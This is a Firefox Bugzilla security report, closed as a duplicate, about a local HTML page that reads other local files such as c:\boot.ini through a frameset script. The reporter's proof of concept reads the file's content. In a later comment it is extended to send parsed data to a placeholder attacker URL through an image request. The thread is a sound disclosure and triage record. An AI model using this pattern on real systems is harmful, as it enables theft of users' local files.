Security flaw: attacker may read a file content

RESOLVED DUPLICATE of bug 230606

Status

()

Product:
Firefox
Component:
Security
Status:
RESOLVED DUPLICATE of bug 230606
Reported:
12 years ago
Modified:
12 years ago

People

(Reporter: tyter9, Unassigned)

Tracking

Firefox Tracking Flags

(Not tracked)

Details

Attachments

(1 attachment)

testcase (windows)
317 bytes, text/html
Details
(Reporter)

Description

•
12 years ago 
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4

For the following HTML code:

<html>
<head>
<title>Exploit</title>
<script>
function fun() {
	var data = top.frames['name2'].document.body.textContent;
	alert(data);
}
</script>
</head>
<frameset onload="fun()">
	<frame src="frame.html" name="name1"/>
	<frame src="file://c:/boot.ini" name="name2"/>
</frameset>
</html>

We can see the content of the c:\boot.ini file. It's a bug in my
opinion. fun() function would to send essential data of any
file to an attacker host. There is a limit to exploit this issue:
A malicious HTML file must be stored on local disk.

Reproducible: Always

Steps to Reproduce:
1.
2.
3.

Comment 1

•
12 years ago 
Created attachment 266778 [details]
testcase (windows)

Comment 2

•
12 years ago 
what is frame.html and does it need to exist for the testcase to work?

Comment 3

•
12 years ago 
Assuming frame.html isn't important, I can't reproduce this with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070521 BonEcho/2.0.0.4pre. I get:

Security Error: Content at https://bugzilla.mozilla.org/attachment.cgi?id=266778 may not load or link to file:///c:/boot.ini.

Are you sure you weren't testing from a local file? Local files are allowed to link to other local files.

Comment 4

•
12 years ago 
> Local files are allowed to link to other local files.

That's bug 230606 ;)
 (Reporter)

Comment 5

•
12 years ago 
So, is it a normal browser behaviour?
What if I get some like this? (in zipped file):

attach.zip:
index.html:
<html>
<head>
<title>Exploit</title>
<script>
function fun() {
        var data = top.frames['name2'].document.body.textContent;
        var essence = ...parsing 'data' for an essential information
        var img = new Image();
        img.src = "attacker's URL" + essence;
}
</script>
</head>
<frameset onload="fun()">
        <frame src="frame.html" name="name1"/>
        <frame src="file://path_to_file" name="name2"/>
</frameset>
</html>

frame.html:
<html>
page content...
</html>

Comment 6

•
12 years ago 
(In reply to comment #5)
> So, is it a normal browser behaviour?

Depends on where you're running the testcase. If you're doing it from your hard drive (i.e. from a file:// URL), then that is the expected behavior with current builds, yes. If you're running it from the web (e.g. from an http:// URL) then no, that is a privacy issue. Which one is it?
 (Reporter)

Comment 7

•
12 years ago 
> Depends on where you're running the testcase.

I understand limits to exploit this issue. It seems that opening locally stored html files may be dangerous...

Comment 8

•
12 years ago 
Dariusz, do you agree that this is a dup of bug 230606?
 (Reporter)

Comment 9

•
12 years ago 
> Dariusz, do you agree that this is a dup of bug 230606?

Yes, I do. But why does this feature still exist in 2.0.0.4 version?
Group: security
Status: UNCONFIRMED → RESOLVED
Last Resolved: 12 years ago
Resolution: --- → DUPLICATE
Duplicate of bug: 230606
You need to log in before you can comment on or make changes to this bug.